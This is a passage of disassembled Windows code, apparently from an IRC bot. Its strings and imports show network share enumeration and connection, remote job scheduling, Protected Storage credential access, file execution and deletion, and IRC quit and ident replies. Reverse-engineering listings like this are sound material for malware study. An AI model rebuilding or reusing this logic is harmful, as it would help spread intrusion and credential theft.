		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_44C]
		push	eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_40222D
		add	esp, 24h
		mov	dword ptr [ebp+var_14+4], eax

loc_402650:				; CODE XREF: sub_402230+3D9j
		cmp	[ebp+arg_0], 3
		jnz	short loc_40268D
		push	[ebp+var_3CC]
		xor	eax, eax
		cmp	[ebp+var_38], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		call	sub_40222D
		add	esp, 1Ch
		mov	dword ptr [ebp+var_14+4], eax

loc_40268D:				; CODE XREF: sub_402230+424j
		cmp	dword ptr [ebp+var_14+4], 1
		jnz	loc_40276A

loc_402697:				; CODE XREF: sub_402230+D4j
		cmp	[ebp+var_26], bl
		jz	short loc_4026A3
		mov	eax, offset dword_4134EC
		jmp	short loc_4026B2
; ---------------------------------------------------------------------------

loc_4026A3:				; CODE XREF: sub_402230+46Aj
		cmp	[ebp+var_36], bl
		mov	eax, offset dword_4134E0
		jnz	short loc_4026B2
		mov	eax, offset byte_4191D0

loc_4026B2:				; CODE XREF: sub_402230+471j
					; sub_402230+47Bj
		push	eax
		mov	eax, [ebp+var_C]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_14],	eax
		mov	dword ptr [ebp+var_14+4], ebx
		fild	[ebp+var_14]
		fstp	[ebp+arg_0]
		call	sub_4114E2	; clock
		sub	eax, dword ptr [ebp+var_1C+4]
		mov	dword ptr [ebp+var_1C+4], ebx
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_1C],	eax
		lea	eax, [ebp+var_2C4]
		fild	[ebp+var_1C]
		fmul	flt_412280
		fdivr	[ebp+arg_0]
		fstp	[esp+7ECh+var_7EC]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1C0]
		push	offset dword_413498
		push	eax
		call	sub_4096CB
		add	esp, 1Ch
		cmp	[ebp+var_37], bl
		jz	short loc_40271B
		lea	eax, [ebp+var_2C4]
		push	eax
		call	dword_4120B8	; DeleteFileA
		jmp	short loc_40278D
; ---------------------------------------------------------------------------

loc_40271B:				; CODE XREF: sub_402230+4DAj
		cmp	[ebp+var_36], bl
		jnz	short loc_402725
		cmp	[ebp+var_26], bl
		jz	short loc_40278D

loc_402725:				; CODE XREF: sub_402230+4EEj
		xor	eax, eax
		cmp	[ebp+var_33], bl
		setz	al
		push	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4121E4
		cmp	eax, 20h
		jbe	short loc_402754
		cmp	[ebp+var_26], bl
		jz	short loc_40278D
		call	sub_4052DF
		jmp	short loc_40278D
; ---------------------------------------------------------------------------

loc_402754:				; CODE XREF: sub_402230+516j
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_413470
		jmp	short loc_40277E
; ---------------------------------------------------------------------------

loc_40276A:				; CODE XREF: sub_402230+461j
		lea	eax, [ebp+var_7D4]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_413440

loc_40277E:				; CODE XREF: sub_402230+F9j
					; sub_402230+112j ...
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_4096CB
		add	esp, 10h

loc_40278D:				; CODE XREF: sub_402230+4E9j
					; sub_402230+4F3j ...
		push	[ebp+var_3CC]
		call	sub_406E6F
		pop	ecx
		jmp	short loc_4027C2
; ---------------------------------------------------------------------------

loc_40279B:				; CODE XREF: sub_402230+272j
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset unk_413414

loc_4027A8:				; CODE XREF: sub_402230+352j
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_4096CB
		push	[ebp+var_3CC]
		call	sub_406E6F
		add	esp, 10h

loc_4027C2:				; CODE XREF: sub_402230+569j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_402230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027CB	proc near		; CODE XREF: sub_407A76+5DDp

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		push	esi
		jz	loc_402879
		push	3AFh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_402879
		push	8
		push	7Ah
		push	61h
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		call	sub_40B515
		and	[ebp+eax+var_10], 0
		lea	eax, [ebp+var_10]
		push	offset dword_413620
		push	eax
		call	sub_4114EE	; _mbscat
		add	esp, 1Ch
		cmp	[ebp+arg_8], 0
		jnz	short loc_402824
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax

loc_402824:				; CODE XREF: sub_4027CB+51j
		push	ebx
		push	edi
		mov	edi, 104h
		lea	ebx, [esi+4]
		push	edi
		push	[ebp+arg_4]
		push	ebx
		call	sub_4059C2
		push	edi
		lea	eax, [esi+108h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4059C2
		push	[ebp+arg_0]
		lea	eax, [esi+20Ch]
		push	eax
		call	sub_40457C
		add	esp, 20h
		lea	eax, [esi+108h]
		push	eax
		push	ebx
		push	offset dword_4135FC
		push	0
		push	esi
		push	offset sub_402230
		call	sub_406D58
		add	esp, 18h
		pop	edi
		pop	ebx

loc_402879:				; CODE XREF: sub_4027CB+Bj
					; sub_4027CB+20j
		pop	esi
		leave
		retn
sub_4027CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40287C	proc near		; CODE XREF: sub_406BBC+7Ep
					; sub_406CB2+83p ...

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		push	1
		push	offset dword_4191DC
		call	sub_407216
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		cmp	dword_4191D8, edi
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jz	loc_402994
		mov	edx, [esi]
		mov	eax, 0C0000025h
		mov	edi, offset aException_othe ; "EXCEPTION_OTHER"
		mov	ecx, [edx]
		cmp	ecx, eax
		ja	short loc_4028F1
		jz	short loc_4028EA
		cmp	ecx, 80000003h
		jz	short loc_4028E3
		cmp	ecx, 0C0000005h
		jz	short loc_4028DC
		cmp	ecx, 0C000001Dh
		jnz	short loc_402924
		mov	edi, offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_402924
; ---------------------------------------------------------------------------

loc_4028DC:				; CODE XREF: sub_40287C+4Fj
		mov	edi, offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_402924
; ---------------------------------------------------------------------------

loc_4028E3:				; CODE XREF: sub_40287C+47j
		mov	edi, offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_402924
; ---------------------------------------------------------------------------

loc_4028EA:				; CODE XREF: sub_40287C+3Fj
		mov	edi, offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_402924
; ---------------------------------------------------------------------------

loc_4028F1:				; CODE XREF: sub_40287C+3Dj
		cmp	ecx, 0C000008Dh
		jb	short loc_402924
		cmp	ecx, 0C0000093h
		jbe	short loc_40291F
		cmp	ecx, 0C0000094h
		jz	short loc_402918
		cmp	ecx, 0C00000FDh
		jnz	short loc_402924
		mov	edi, offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_402924
; ---------------------------------------------------------------------------

loc_402918:				; CODE XREF: sub_40287C+8Bj
		mov	edi, offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_402924
; ---------------------------------------------------------------------------

loc_40291F:				; CODE XREF: sub_40287C+83j
		mov	edi, offset aException_flt ; "EXCEPTION_FLT"

loc_402924:				; CODE XREF: sub_40287C+57j
					; sub_40287C+5Ej ...
		cmp	dword ptr [edx+4], 1
		mov	edx, offset aRestarting	; "Restarting"
		jz	short loc_402934
		mov	edx, offset aContinuing	; "Continuing"

loc_402934:				; CODE XREF: sub_40287C+B1j
		mov	eax, [esi+4]
		push	edx
		push	edi
		push	ecx
		push	dword ptr [eax+0C0h]
		push	dword ptr [eax+0B8h]
		push	dword ptr [eax+0C4h]
		push	dword ptr [eax+0B4h]
		push	dword ptr [eax+9Ch]
		push	dword ptr [eax+0A0h]
		push	dword ptr [eax+0A8h]
		push	dword ptr [eax+0ACh]
		push	dword ptr [eax+0A4h]
		push	dword ptr [eax+0B0h]
		lea	eax, [ebx+1]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41364C
		push	offset dword_418E50
		call	sub_409659
		add	esp, 48h
		xor	edi, edi

loc_402994:				; CODE XREF: sub_40287C+27j
		inc	ebx
		cmp	ebx, 64h
		jz	short loc_4029C0
		mov	eax, [esi]
		cmp	dword ptr [eax+4], 1
		jz	short loc_4029C0
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_4029BB
		mov	esi, [esi+4]
		inc	dword ptr [esi+0B8h]
		or	eax, 0FFFFFFFFh

loc_4029B6:				; CODE XREF: sub_40287C+142j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4029BB:				; CODE XREF: sub_40287C+12Cj
		push	1
		pop	eax
		jmp	short loc_4029B6
; ---------------------------------------------------------------------------

loc_4029C0:				; CODE XREF: sub_40287C+11Cj
					; sub_40287C+124j
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	edi
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_402A00
		push	edi
		push	edi
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	offset aOpen	; "open"
		push	edi
		call	dword_4121E4
		cmp	eax, 20h
		ja	short loc_402A00
		push	offset aQuitExitting ; "QUIT :exitting"
		jmp	short loc_402A05
; ---------------------------------------------------------------------------

loc_402A00:				; CODE XREF: sub_40287C+160j
					; sub_40287C+17Bj
		push	offset aQuitRestarting ; "QUIT :restarting"

loc_402A05:				; CODE XREF: sub_40287C+182j
		call	sub_4097DB
		pop	ecx
		push	edi
		call	dword_412064	; ExitProcess
sub_40287C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A12	proc near		; DATA XREF: sub_402D7B:loc_402EACo

var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_402A57
		mov	eax, [edi+4]
		cmp	eax, ebx
		jz	short loc_402A37
		cmp	eax, 2
		jz	short loc_402A37
		mov	esi, 273Fh
		jmp	short loc_402A49
; ---------------------------------------------------------------------------

loc_402A37:				; CODE XREF: sub_402A12+17j
					; sub_402A12+1Cj
		mov	eax, [edi+8]
		cmp	eax, 1
		jz	short loc_402A57
		cmp	eax, 2
		jz	short loc_402A57
		mov	esi, 273Ch

loc_402A49:				; CODE XREF: sub_402A12+23j
		push	esi
		call	dword_412244	; WSASetLastError
		mov	eax, esi
		jmp	loc_402C0A
; ---------------------------------------------------------------------------

loc_402A57:				; CODE XREF: sub_402A12+10j
					; sub_402A12+2Bj ...
		cmp	[ebp+arg_0], ebx
		jnz	loc_402AF7
		push	30h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	loc_402B3E
		push	30h
		push	ebx
		push	esi
		call	sub_4114E8	; memset
		push	10h
		lea	eax, [ebp+var_18]
		pop	ebx
		push	ebx
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		cmp	[ebp+arg_4], 0
		mov	[ebp+var_18], 2
		jz	short loc_402AAD
		push	[ebp+arg_4]
		call	sub_41151C	; atoi
		pop	ecx
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_16], ax

loc_402AAD:				; CODE XREF: sub_402A12+85j
		test	edi, edi
		mov	dword ptr [esi+4], 2
		jz	short loc_402ABD
		mov	eax, [edi+8]
		jmp	short loc_402AC0
; ---------------------------------------------------------------------------

loc_402ABD:				; CODE XREF: sub_402A12+A4j
		push	1
		pop	eax

loc_402AC0:				; CODE XREF: sub_402A12+A9j
		test	edi, edi
		mov	[esi+8], eax
		jz	short loc_402ACC
		mov	eax, [edi+0Ch]
		jmp	short loc_402ACF
; ---------------------------------------------------------------------------

loc_402ACC:				; CODE XREF: sub_402A12+B3j
		push	6
		pop	eax

loc_402ACF:				; CODE XREF: sub_402A12+B8j
		mov	[esi+0Ch], eax
		lea	ecx, [ebp+var_18]
		lea	eax, [esi+20h]
		push	ebx
		push	ecx
		mov	[esi+10h], ebx
		mov	[esi+18h], eax
		and	[ebp+var_14], 0
		push	eax
		call	sub_4114D0	; memcpy
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		mov	[eax], esi
		jmp	loc_402C08
; ---------------------------------------------------------------------------

loc_402AF7:				; CODE XREF: sub_402A12+48j
		push	[ebp+arg_0]
		call	dword_41224C	; gethostbyname
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402B20
		mov	eax, [eax+0Ch]
		xor	edi, edi
		mov	[ebp+arg_0], edi

loc_402B0F:				; CODE XREF: sub_402A12+105j
		cmp	[eax], ebx
		jz	short loc_402B19
		inc	edi
		add	eax, 4
		jmp	short loc_402B0F
; ---------------------------------------------------------------------------

loc_402B19:				; CODE XREF: sub_402A12+FFj
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jnz	short loc_402B2A

loc_402B20:				; CODE XREF: sub_402A12+F3j
		mov	eax, 2AFBh
		jmp	loc_402C0A
; ---------------------------------------------------------------------------

loc_402B2A:				; CODE XREF: sub_402A12+10Cj
		lea	esi, [edi+edi*2]
		shl	esi, 4
		push	esi
		call	sub_4114C4	; malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_402B4E

loc_402B3E:				; CODE XREF: sub_402A12+5Aj
		push	8
		call	dword_412244	; WSASetLastError
		push	8
		pop	eax
		jmp	loc_402C0A
; ---------------------------------------------------------------------------

loc_402B4E:				; CODE XREF: sub_402A12+12Aj
		push	esi
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		push	10h
		lea	eax, [ebp+var_28]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		cmp	[ebp+arg_4], ebx
		mov	[ebp+var_28], 2
		jz	short loc_402B84
		push	[ebp+arg_4]
		call	sub_41151C	; atoi
		pop	ecx
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_26], ax

loc_402B84:				; CODE XREF: sub_402A12+15Cj
		test	edi, edi
		jbe	short loc_402C00
		mov	eax, [ebp+var_4]
		lea	esi, [eax+8]

loc_402B8E:				; CODE XREF: sub_402A12+1ECj
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_402B99
		mov	eax, [eax]
		jmp	short loc_402B9C
; ---------------------------------------------------------------------------

loc_402B99:				; CODE XREF: sub_402A12+181j
		push	4
		pop	eax

loc_402B9C:				; CODE XREF: sub_402A12+185j
		mov	ecx, [ebp+arg_8]
		lea	edi, [esi-8]
		test	ecx, ecx
		mov	[edi], eax
		mov	dword ptr [esi-4], 2
		jz	short loc_402BB4
		mov	eax, [ecx+8]
		jmp	short loc_402BB7
; ---------------------------------------------------------------------------

loc_402BB4:				; CODE XREF: sub_402A12+19Bj
		push	1
		pop	eax

loc_402BB7:				; CODE XREF: sub_402A12+1A0j
		test	ecx, ecx
		mov	[esi], eax
		jz	short loc_402BC2
		mov	eax, [ecx+0Ch]
		jmp	short loc_402BC5
; ---------------------------------------------------------------------------

loc_402BC2:				; CODE XREF: sub_402A12+1A9j
		push	6
		pop	eax

loc_402BC5:				; CODE XREF: sub_402A12+1AEj
		mov	edx, [ebp+var_8]
		push	10h
		mov	[esi+4], eax
		pop	ecx
		lea	eax, [esi+18h]
		mov	[esi+8], ecx
		mov	[esi+10h], eax
		mov	edx, [edx+0Ch]
		push	ecx
		lea	ecx, [ebp+var_28]
		mov	edx, [edx+ebx*4]
		push	ecx
		push	eax
		mov	edx, [edx]
		mov	[ebp+var_24], edx
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		test	ebx, ebx
		jz	short loc_402BF7
		mov	[esi-1Ch], edi

loc_402BF7:				; CODE XREF: sub_402A12+1E0j
		inc	ebx
		add	esi, 30h
		cmp	ebx, [ebp+arg_0]
		jb	short loc_402B8E

loc_402C00:				; CODE XREF: sub_402A12+174j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx

loc_402C08:				; CODE XREF: sub_402A12+E0j
		xor	eax, eax

loc_402C0A:				; CODE XREF: sub_402A12+40j
					; sub_402A12+113j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_402A12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C11	proc near		; DATA XREF: sub_402D7B+13Bo

var_424		= byte ptr -424h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jnz	short loc_402C29
		cmp	[ebp+arg_10], edi
		jz	short loc_402C34

loc_402C29:				; CODE XREF: sub_402C11+11j
		mov	ebx, [ebp+arg_18]
		test	ebx, 0FFFFFFE0h
		jz	short loc_402C3E

loc_402C34:				; CODE XREF: sub_402C11+16j
		mov	esi, 2726h
		jmp	loc_402D2E
; ---------------------------------------------------------------------------

loc_402C3E:				; CODE XREF: sub_402C11+21j
		mov	esi, [ebp+arg_0]
		cmp	word ptr [esi],	2
		jz	short loc_402C51
		mov	esi, 273Fh
		jmp	loc_402D2E
; ---------------------------------------------------------------------------

loc_402C51:				; CODE XREF: sub_402C11+34j
		cmp	[ebp+arg_8], edi
		jz	loc_402CF4
		push	dword ptr [esi+4]
		add	esi, 4
		call	dword_412230	; inet_ntoa
		cmp	eax, edi
		jnz	short loc_402C72
		or	eax, 0FFFFFFFFh
		jmp	loc_402D60
; ---------------------------------------------------------------------------

loc_402C72:				; CODE XREF: sub_402C11+57j
		mov	edi, 401h
		push	edi
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		test	bl, 2
		jnz	short loc_402CE1
		test	bl, 4
		jz	short loc_402CC5

loc_402C92:				; CODE XREF: sub_402C11+C0j
					; sub_402C11+C6j
		push	0
		push	4
		push	esi
		call	dword_412234	; gethostbyaddr
		mov	esi, eax
		test	esi, esi
		jz	short loc_402CD9
		push	dword ptr [esi]
		call	sub_4114BE	; strlen
		inc	eax
		pop	ecx
		cmp	eax, [ebp+arg_C]
		ja	short loc_402D29
		push	edi
		lea	eax, [ebp+var_424]
		push	dword ptr [esi]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		jmp	short loc_402CF4
; ---------------------------------------------------------------------------

loc_402CC5:				; CODE XREF: sub_402C11+7Fj
		test	bl, 1
		jz	short loc_402CE1
		mov	eax, [esi]
		cmp	eax, 7F000001h
		jz	short loc_402C92
		test	eax, eax
		jnz	short loc_402CE1
		jmp	short loc_402C92
; ---------------------------------------------------------------------------

loc_402CD9:				; CODE XREF: sub_402C11+90j
		call	dword_412238	; WSAGetLastError
		jmp	short loc_402D60
; ---------------------------------------------------------------------------

loc_402CE1:				; CODE XREF: sub_402C11+7Aj
					; sub_402C11+B7j ...
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_4114BE	; strlen
		inc	eax
		pop	ecx
		cmp	eax, [ebp+arg_C]
		ja	short loc_402D29

loc_402CF4:				; CODE XREF: sub_402C11+43j
					; sub_402C11+B2j
		cmp	[ebp+arg_10], 0
		jz	short loc_402D47
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax+2]
		push	eax
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		call	sub_41192A	; _itoa
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_402D39

loc_402D29:				; CODE XREF: sub_402C11+9Ej
					; sub_402C11+E1j
		mov	esi, 2747h

loc_402D2E:				; CODE XREF: sub_402C11+28j
					; sub_402C11+3Bj
		push	esi
		call	dword_412244	; WSASetLastError
		mov	eax, esi
		jmp	short loc_402D60
; ---------------------------------------------------------------------------

loc_402D39:				; CODE XREF: sub_402C11+116j
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_10]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_402D47:				; CODE XREF: sub_402C11+E7j
		cmp	[ebp+arg_8], 0
		jz	short loc_402D5E
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+arg_8]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_402D5E:				; CODE XREF: sub_402C11+13Aj
		xor	eax, eax

loc_402D60:				; CODE XREF: sub_402C11+5Cj
					; sub_402C11+CEj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
sub_402C11	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D67	proc near		; DATA XREF: sub_402D7B+145o

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jz	short locret_402D78
		push	[esp+arg_0]
		call	sub_4114CA	; free
		pop	ecx

locret_402D78:				; CODE XREF: sub_402D67+5j
		retn	4
sub_402D67	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D7B	proc near		; CODE XREF: sub_4111E8+B8p
		push	esi
		push	edi
		mov	edi, dword_41205C
		push	offset aKernel32_dll ; "kernel32.dll"
		call	edi	; LoadLibraryA
		mov	esi, dword_412060
		test	eax, eax
		jz	short loc_402DA1
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	esi	; GetProcAddress
		mov	dword_4191E0, eax

loc_402DA1:				; CODE XREF: sub_402D7B+17j
		push	ebx
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	edi	; LoadLibraryA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402E24
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	ebx
		call	esi	; GetProcAddress
		push	offset aNetuseadd ; "NetUseAdd"
		push	ebx
		mov	dword_4191E8, eax
		call	esi	; GetProcAddress
		push	offset aNetusedel ; "NetUseDel"
		push	ebx
		mov	dword_4191EC, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	ebx
		mov	dword_4191F0, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	ebx
		mov	dword_4191F4, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	ebx
		mov	dword_4191F8, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	ebx
		mov	dword_4191FC, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	ebx
		mov	dword_419200, eax
		call	esi	; GetProcAddress
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	ebx
		mov	dword_419204, eax
		call	esi	; GetProcAddress
		mov	dword_419208, eax

loc_402E24:				; CODE XREF: sub_402D7B+32j
		push	offset aMpr_dll	; "mpr.dll"
		call	edi	; LoadLibraryA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402E65
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	ebx
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	ebx
		mov	dword_41920C, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	ebx
		mov	dword_419210, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	ebx
		mov	dword_419214, eax
		call	esi	; GetProcAddress
		mov	dword_419218, eax

loc_402E65:				; CODE XREF: sub_402D7B+B4j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	edi	; LoadLibraryA
		mov	ebx, eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	ebx
		call	esi	; GetProcAddress
		push	offset aGetnameinfo ; "getnameinfo"
		push	ebx
		mov	dword_419224, eax
		call	esi	; GetProcAddress
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	ebx
		mov	dword_419228, eax
		call	esi	; GetProcAddress
		cmp	dword_419224, 0
		mov	dword_41922C, eax
		pop	ebx
		jz	short loc_402EAC
		cmp	dword_419228, 0
		jz	short loc_402EAC
		test	eax, eax
		jnz	short loc_402ECA

loc_402EAC:				; CODE XREF: sub_402D7B+122j
					; sub_402D7B+12Bj
		mov	dword_419224, offset sub_402A12
		mov	dword_419228, offset sub_402C11
		mov	dword_41922C, offset sub_402D67

loc_402ECA:				; CODE XREF: sub_402D7B+12Fj
		push	offset aPstorec_dll ; "pstorec.dll"
		call	edi	; LoadLibraryA
		test	eax, eax
		jz	short loc_402EE2
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	eax
		call	esi	; GetProcAddress
		mov	dword_419220, eax

loc_402EE2:				; CODE XREF: sub_402D7B+158j
		push	offset aWininet_dll ; "wininet.dll"
		call	edi	; LoadLibraryA
		test	eax, eax
		jz	short loc_402EFA
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	eax
		call	esi	; GetProcAddress
		mov	dword_41921C, eax

loc_402EFA:				; CODE XREF: sub_402D7B+170j
		pop	edi
		pop	esi
		retn
sub_402D7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EFD	proc near		; DATA XREF: sub_4030A7+65o

var_121C	= byte ptr -121Ch
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_212		= byte ptr -212h
var_6C		= byte ptr -6Ch
var_48		= byte ptr -48h
var_24		= byte ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 121Ch
		call	sub_411540
		push	ebx
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_218]
		push	1
		push	eax
		call	sub_403644
		mov	ebx, eax
		add	esp, 18h
		test	ebx, ebx
		jnz	short loc_402F51
		push	[ebp+var_21C]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	loc_4030A2
; ---------------------------------------------------------------------------

loc_402F51:				; CODE XREF: sub_402EFD+3Fj
		push	esi
		lea	eax, [ebp+var_218]
		push	edi
		push	eax
		mov	eax, [ebp+var_21C]
		push	dword ptr [eax]
		lea	eax, [ebp+var_212]
		push	offset dword_4139C0
		push	eax
		call	sub_4096CB
		mov	esi, 3E8h
		push	esi
		push	ebx
		call	sub_403767
		add	esp, 18h

loc_402F82:				; CODE XREF: sub_402EFD+189j
		mov	edi, eax
		mov	eax, [ebp+var_21C]
		cmp	dword ptr [eax+4], 0
		jnz	loc_40308B
		test	edi, edi
		jz	loc_40308B
		cmp	edi, 0FFFFFFFFh
		jz	loc_40307D
		lea	eax, [ebp+var_121C]
		push	1000h
		push	eax
		push	edi
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_403076
		cmp	eax, 0FFFFFFFFh
		jz	loc_403076
		lea	eax, [ebp+var_121C]
		push	eax
		call	sub_4114BE	; strlen
		cmp	eax, 10h
		pop	ecx
		ja	loc_403076
		cmp	byte_41A268, 0
		jz	short loc_402FFC
		lea	eax, [ebp+var_24]
		push	offset byte_41A268
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40301E
; ---------------------------------------------------------------------------

loc_402FFC:				; CODE XREF: sub_402EFD+EBj
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_404A70
		lea	eax, [ebp+var_24]
		push	eax
		push	offset byte_41A268
		call	sub_4114B8	; _mbscpy
		add	esp, 14h

loc_40301E:				; CODE XREF: sub_402EFD+FDj
		lea	eax, [ebp+var_121C]
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_121C]
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_121C]
		push	offset asc_413214 ; "\r\n"
